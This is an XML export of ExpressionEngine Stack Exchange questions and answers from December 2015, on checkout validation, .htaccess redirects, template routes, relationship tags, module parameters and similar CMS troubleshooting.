  <row Id="34940" PostTypeId="2" ParentId="34934" CreationDate="2015-12-04T10:34:57.157" Score="0" Body="&lt;p&gt;Depends how you're managing languages in your EE build (e.g. Transcribe, Publisher, hand-rolled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, it will be cookie or session based, dropping a variable that states you've automatically taken them somewhere and not to do it again. Best method is using the &lt;a href=&quot;https://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Session add-on&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detecting the users location via IP will probably require &lt;a href=&quot;https://devot-ee.com/search/tags/tag/ip&quot; rel=&quot;nofollow noreferrer&quot;&gt;GeoIP or IPGeo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But fundamentally&lt;/strong&gt; please consider your users!!! It's very bad for you to assume that you know what they want. I'm English and and work in Holland, I follow a link to the English website but you're going to force me to the Dutch website - WTF?!? The Googlebot, is happy to crawl and index your website, but everytime it tries to start it's crawl from the Dutch homepage it gets forced to the English website because it's based in the US! This does have massive implications to SEO performance. &lt;a href=&quot;http://www.slideshare.net/OBAN-IDForum/brightonseo-keynote-the-good-the-bad-and-the-ugly-of-international-seo-53005762&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a slideshow&lt;/a&gt; from a presentation regarding the SEO issues of internationalization that may help (alas there wasn't a video of it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of other posts on Stack Exchange that may help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11999/redirect-multi-language-site-based-on-ip-address?rq=1&quot;&gt;Redirect multi language site based on IP address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6156/how-can-i-redirect-a-homepage-depending-on-the-browser-language-settings?rq=1&quot;&gt;how can I redirect a homepage depending on the browser language settings&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-12-04T10:34:57.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34941" PostTypeId="2" ParentId="34939" CreationDate="2015-12-04T15:31:20.893" Score="0" Body="&lt;p&gt;Yes, there is. I had to ask EllisLabs to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The config files aren't only &lt;code&gt;config.php&lt;/code&gt; and &lt;code&gt;database.php&lt;/code&gt;. On &lt;code&gt;system/expressionengine/config&lt;/code&gt;, you can find &lt;code&gt;remember.php&lt;/code&gt;. Edit the &lt;code&gt;$config['remember_me_ttl']&lt;/code&gt; variable;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's safe to edit all config files. Just remind of them when updating EECMS.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-12-04T15:31:20.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34942" PostTypeId="1" CreationDate="2015-12-04T15:48:16.923" Score="1" ViewCount="85" Body="&lt;p&gt;This is all done as a guest user, I am not logged in when I go thru the checkout process and the store setting allows for guest customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the create an account form on the order checkout page, it asks the user for their password and to confirm it, once they complete the order, it will create an account using their email address they typed in from the previous screen, just to make sure it is being included, I display it on the same page {field:order_email} and it is populated with the correct email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I fill out the rest of the form and click submit, it returns to the same page with no error about the email I used already being registered which is what I expected to see, as the email is being used by a customer who had already been registered but it does not output that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then submitted the form and made sure the password and confirm password fields did not match, it returned the error messages as expected using: {error:password} and {error:password_confirm}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I went into CheckoutAction.php line 208 and did a var_dump of the form errors and it returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(3) {&#xA;    [&quot;order_email&quot;] =&amp;gt; string(36) &quot;The email you chose is not available&quot; &#xA;    [&quot;password&quot;] =&amp;gt; string(61) &quot;The password you submitted must be at least 5 characters long&quot; &#xA;    [&quot;password_confirm&quot;] =&amp;gt; string(53) &quot;The Password field does not match the Password field.&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns the error but I do not know what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just shows the opening checkout tag, the part of the form that a user can select the checkout ({field:register_member}) to create a new account.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    return=&quot;shop/receipt/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;small class=&quot;error&quot;&amp;gt;|&amp;lt;/small&amp;gt;'&#xA;    form_class=&quot;validate&quot;&#xA;    form_id=&quot;payment-form&quot;&#xA;    html:data-abide=&quot;ajax&quot;&#xA;}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;large-12 columns {if error:order_email}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;check&quot;&amp;gt;{field:register_member} Create An Account? howdy&amp;lt;/label&amp;gt;&#xA;            {field:order_email}&#xA;            {error:order_email}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;large-6 columns {if error:password}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Set your password&amp;lt;/label&amp;gt;&#xA;            {field:password}&#xA;            {error:password}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;large-6 columns {if error:password_confirm}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Type your password again&amp;lt;/label&amp;gt;&#xA;            {field:password_confirm}&#xA;            {error:password_confirm}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine if the order email I supplied is not of an existing registered user but I expect it to return an error when the email is already registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I removed error_handling=&quot;inline&quot; from the checkout opening tag and it displays as expected now, but I need to use error_handling=&quot;inline&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in the docs: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you should try is removing the error_handling=&quot;inline&quot; parameter from&#xA;  your template, as often this is caused by validation errors which you&#xA;  have forgotten to display error messages for.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The template I have the checkout form tag on contains the create account form (password, password_confirm fields and error messages as you can see above in the code example) and it also creates fields for the customer to enter their payment information. We use stripe for payment and have js code to validate that, so that does not have any {error:field_name} tags near it. We need it use inline error handling.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2015-12-04T16:28:19.847" LastActivityDate="2015-12-04T16:28:19.847" Title="store checkout tag does not display order_email error" Tags="|expresso-store|validation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34943" PostTypeId="1" AcceptedAnswerId="34971" CreationDate="2015-12-04T16:00:55.267" Score="0" ViewCount="69" Body="&lt;p&gt;I'm stumped on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to out put related entries but nothing is being output if I use the relationship tag as a pair&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;clients&quot; &#xA;        url_title=&quot;{last_segment}&quot; &#xA;        status=&quot;not closed&quot; &#xA;        disable=&quot;categories|pagination|trackbacks&quot;}&#xA;    {title}&amp;lt;br /&amp;gt;&#xA;    {cli_honorific} {cli_first_name} {cli_last_name}&amp;lt;br /&amp;gt;&#xA;    {cli_company}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            [{cli_enquiries:count}/{cli_enquiries:total_results}]&amp;lt;br /&amp;gt;&#xA;            {cli_enquiries:title}&#xA;            &amp;lt;hr /&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;!-- Nothing ============================================== --&amp;gt;&#xA;            {cli_enquiries}&#xA;                {cli_enquiries:title}&#xA;            {/cli_enquiries}&#xA;            &amp;lt;!-- /Nothing ============================================= --&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I am using at the moment.&#xA;the data is output where the related data is not within the tag pair, but nothing outputs inside the tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2015-12-05T02:35:00.370" LastActivityDate="2016-02-03T11:58:59.860" Title="Relationships tag outputs nothing as tag pair" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34944" PostTypeId="2" ParentId="34928" CreationDate="2015-12-04T16:55:25.027" Score="1" Body="&lt;p&gt;This fixed it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual formatting of the .htaccess file was incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needed to be as per attached PNG snapshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lBsED.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBsED.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q461J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q461J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I refomatted the file as shown above the issue was resolved!&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2015-12-04T16:55:25.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34945" PostTypeId="2" ParentId="34935" CreationDate="2015-12-04T17:26:43.967" Score="1" Body="&lt;p&gt;I get the same error with Wiki 2.3 and EE 2.10.1. That SQL query should specify a number for the limit e.g. LIMIT 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to fix it is to change the template code for wiki_special_atom.html. Change the line (I'm using the default theme):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{wiki:recent_changes}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{wiki:recent_changes limit=&quot;10&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The best way is to fix mod.wiki.php but I don't have time for that either. :)&lt;/p&gt;&#xA;" OwnerUserId="3432" LastActivityDate="2015-12-04T17:26:43.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34948" PostTypeId="1" AcceptedAnswerId="34966" CreationDate="2015-12-04T22:40:32.090" Score="1" ViewCount="524" Body="&lt;p&gt;I have 3 templates in a template group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/customer-service&#xA;/customer-service/expert-tip&#xA;/customer-service/expert-tips&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use the second template to display specific channel entries like so, with the third segment being an entry ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/customer-service/expert-tip/{tip:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I do this, I can't access &lt;strong&gt;any&lt;/strong&gt; of these templates. They all return an &lt;code&gt;ERR_CONTENT_DECODING_FAILED&lt;/code&gt; error in Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates Routes are enabled in my global settings and I also have this expert-tip template set to require all 3 segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I've tested the URLs in Firefox, Safari, and Chrome and the template routes work for everything except normal Chrome. Even Incognito Mode works for Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message:  preg_match_all(): Compilation failed: group name must start with a non-digit at offset 35&#xA;Filename: libraries/Template_router.php&#xA;Line Number: 56&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-12-07T16:11:57.207" LastActivityDate="2015-12-07T16:21:12.997" Title="ERR_CONTENT_DECODING_FAILED when creating template route for specific entry" Tags="|ee2|template-routes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34949" PostTypeId="2" ParentId="31354" CreationDate="2015-12-05T02:42:05.403" Score="0" Body="&lt;p&gt;I've built something kind of similar where I have a field to store that members member_id and then, within the template for viewing the entry, I use the search param to find only entries with their member_id in that field. although there was a plugin I needed to affect the parse order of the member_id global variable as it parses quite late and is otherwise not usable inside the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a manual process but within the context I required it was perfect as member assigning was a required step of the system we put together.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-12-05T02:42:05.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34950" PostTypeId="1" AcceptedAnswerId="34952" CreationDate="2015-12-05T07:23:47.070" Score="0" ViewCount="22" Body="&lt;p&gt;How can we easy check if the {order_subtotal} has a minimum of 50.00 on the first checkout page in Store.&#xA;{order_subtotal} holds the amount together with the currency indicator and can therefor not be used for evaluating the amount with a simple if conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another tag with the only the value of the sub_total? Or do we need to manipulate with PHP here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to deactivate the Continue button in the checkout process if the sub_total is not 50.00 (or whatever amount) and show a message.&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2015-12-05T17:55:26.443" Title="Store: Evaluating {order_subtotal} minimum amount in Checkout" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34951" PostTypeId="2" ParentId="31354" CreationDate="2015-12-05T14:56:25.893" Score="0" Body="&lt;p&gt;This should be possible with out-of-the box functionality, using custom member fields. This is not a channel entry, of course, but can be displayed anywhere you want.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-05T14:56:25.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34952" PostTypeId="2" ParentId="34950" CreationDate="2015-12-05T17:55:26.443" Score="0" Body="&lt;p&gt;You can add &lt;code&gt;_val&lt;/code&gt; to any price variables to get the unformatted version in any of the store tags (orders, product, checkout, cart) to use in conditionals.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All price variables are pre-formatted according to your currency formatting settings. If you want the unformatted amount, simply append _val to the variable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is mentioned in the docs in passing &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#product_tag_variables&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your checkout template you will want to have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_subtotal_val &amp;gt; 50}&#xA; Your Subtotal is over $50.00 logic&#xA;{if:else}&#xA; Lets add some more items to the cart your subtotal isn't $50.00&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-12-05T17:55:26.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34953" PostTypeId="1" CreationDate="2015-12-06T04:30:54.500" Score="0" ViewCount="190" Body="&lt;p&gt;Cannot get my site to force www. keeps showing a 404 (https urls) or 403 (http urls) server error. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt; &#xA;&#xA;    # Force HTTPS&#xA;        RewriteEngine On&#xA;        RewriteCond %{HTTPS} off&#xA;        RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L]&#xA;&#xA;    # Add www&#xA;        RewriteCond %{HTTP_HOST} !^www\.&#xA;        RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/ [R=301,L] &#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;  # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="433" LastActivityDate="2016-01-07T08:08:30.247" Title=".htacess not forcing www" Tags="|htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34954" PostTypeId="2" ParentId="34953" CreationDate="2015-12-06T14:59:48.663" Score="1" Body="&lt;p&gt;Try to combine your redirects, so you minimise the amount of jumps as it's bad SEO to have too many. Your first chunk goes to https, but your second jump (forcing www) doesn't - which may explain your different server errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirect your incorrect domain first (to the correct https version), then the https, therefore if someone isn't accessing the URL with the www and without the https, they'll be put right by the first redirect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# redirect to www version&#xA;# RewriteCond %{HTTP_HOST} ^www.yourdomain.co.uk [OR] - Example for multiple domains&#xA;RewriteCond %{HTTP_HOST} ^www.yourdomain.com [NC]&#xA;RewriteRule ^(.*)$ https://yourdomain.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the above, add the https detection...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} !=on&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to only secure certain URLs, add the following to the beginning of the code above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} (checkout|account)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on the server, the &lt;code&gt;%{HTTPS}&lt;/code&gt; detection may not work and you have to check for port instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{SERVER_PORT} !^443$&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-12-06T14:59:48.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34957" PostTypeId="2" ParentId="34621" CreationDate="2015-12-07T06:06:17.853" Score="0" Body="&lt;p&gt;It's a bug (&lt;a href=&quot;https://support.ellislab.com/bugs/detail/21272/&quot; rel=&quot;nofollow&quot;&gt;#21272&lt;/a&gt;) that's been fixed in EE 3.03.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-07T06:06:17.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34958" PostTypeId="1" AcceptedAnswerId="34959" CreationDate="2015-12-07T09:31:42.667" Score="1" ViewCount="42" Body="&lt;p&gt;Busy developing some custom modules for EE.  Everything is going swimmingly, except I can't seem to find any documentation on how to filter results in my modules tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking to achieve is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_mod:my_func month=&quot;June&quot;}&#xA;    ...&#xA;{/exp:my_mod:my_func}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My hope is to filter results here and only show results for the month of June, rather than doing this filtering in the .mod file.  Is this a simple thing to achieve of should I just do it manually on the back end (which would mean creating 12 separate modules)&lt;/p&gt;&#xA;" OwnerUserId="6491" LastActivityDate="2015-12-07T10:00:38.000" Title="Wanting to filter results in EE tags" Tags="|ee2|php|tags|codeigniter|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34959" PostTypeId="2" ParentId="34958" CreationDate="2015-12-07T10:00:38.000" Score="1" Body="&lt;p&gt;It's a common function functionality of addons to use parameters, so there's an EE function for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;fetch_param('param_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; if you need an example and more info.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-07T10:00:38.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34960" PostTypeId="1" CreationDate="2015-12-07T11:05:51.410" Score="0" ViewCount="33" Body="&lt;p&gt;I have the simplest Email form from EE docs: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon 'Submit' I get returned to the homepage of our site. Also, there are no Error/Success messages upon form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are able to send Emails through Tools &gt; Communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test, we installed Solspaces Freeform (Free version), the same thing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've used the Email module many times on other sites without any trouble. This time around, we're on a different server and not sure if we're missing something on our config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.10.1&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Update: Resolved&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We had a static index.html on our www folder. Removing that file, fixed the issue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1006" LastEditorUserId="1006" LastEditDate="2015-12-08T08:22:05.777" LastActivityDate="2015-12-08T08:22:05.777" Title="Email module: Emails are not being sent" Tags="|email-contact-form|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34961" PostTypeId="1" CreationDate="2015-12-07T11:12:53.370" Score="0" ViewCount="24" Body="&lt;p&gt;I am having an issue with displaying the Simple Form Search field. I am getting a random string of characters. No form field appears too. Here's an example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nWNS6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWNS6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or ideas on how to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="6440" LastActivityDate="2015-12-07T11:12:53.370" Title="Search Field Displaying Random Characters" Tags="|search|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34962" PostTypeId="1" CreationDate="2015-12-07T14:10:17.660" Score="1" ViewCount="206" Body="&lt;p&gt;I don't see anything in the change log or mentioned on the Pixel and Tonic website.  Does Playa work with ExpressionEngine 3?&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2015-12-07T14:23:25.770" Title="EE3 and Playa - do they work together" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34963" PostTypeId="2" ParentId="34962" CreationDate="2015-12-07T14:23:25.770" Score="2" Body="&lt;p&gt;Brandon Kelly would definitely list it in a change log if it were released for EE3. I don't think he's actually published a road map for EE3 as of yet, but has tweeted that he is working on EE3-izing his add-ons. You can take a look at EE3 compatible add-ons on the &lt;a href=&quot;https://www.devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;https://www.devot-ee.com&lt;/a&gt;. Probably not 100% complete, but it'll be 99% of released EE3 add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-07T14:23:25.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34965" PostTypeId="2" ParentId="34948" CreationDate="2015-12-07T16:09:34.310" Score="0" Body="&lt;p&gt;It usually happens when your HTTP request's headers claim that the content is gzip encoded when it really isn't. Turn off the gzip encoding setting (or make sure the content is in fact encoded).&lt;/p&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="6825" LastEditDate="2015-12-07T16:13:34.213" LastActivityDate="2015-12-07T16:13:34.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34966" PostTypeId="2" ParentId="34948" CreationDate="2015-12-07T16:21:12.997" Score="0" Body="&lt;p&gt;The first problem was that my output settings had GZIP encoding enabled. After disabling GZIP encoding, the page rendered with the error I mentioned in &lt;strong&gt;EDIT2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After seeing this error, I found this thread on Ellis Lab's website:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20493/custom-route-manager-rule-throwing-preg_match_all-warning&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20493/custom-route-manager-rule-throwing-preg_match_all-warning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the instructions in that solution, re-submitted my custom template routes and the problem pages loaded with no errors thrown.&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2015-12-07T16:21:12.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34968" PostTypeId="1" CreationDate="2015-12-07T17:59:40.333" Score="0" ViewCount="23" Body="&lt;p&gt;Is there an option I can put in the advanced_form search form to get the results to load into the top window? I'm using the advanced form in an iframe, and I need the results to load into the &quot;_top&quot; layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, I've taken the rendered search form and adjusted it to work, so if there's no option in the standard code, I'm ok. I can get everything working except one thing. I can't get this value to autogenerate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;meta&quot; value=&quot;Y1q3nU/3/C6nkc+TMjbxHkfdkE77....&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a variable I can use here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.10.1&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2015-12-07T19:40:57.813" Title="Search Form Help" Tags="|search|forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34969" PostTypeId="2" ParentId="34968" CreationDate="2015-12-07T19:40:57.813" Score="1" Body="&lt;p&gt;Thanks AllInOne! That sparked a solution. You can do this with some jQuery to add missing the target attribute. After the search form code, put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$('#searchform').attr('target', '_top');&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2015-12-07T19:40:57.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
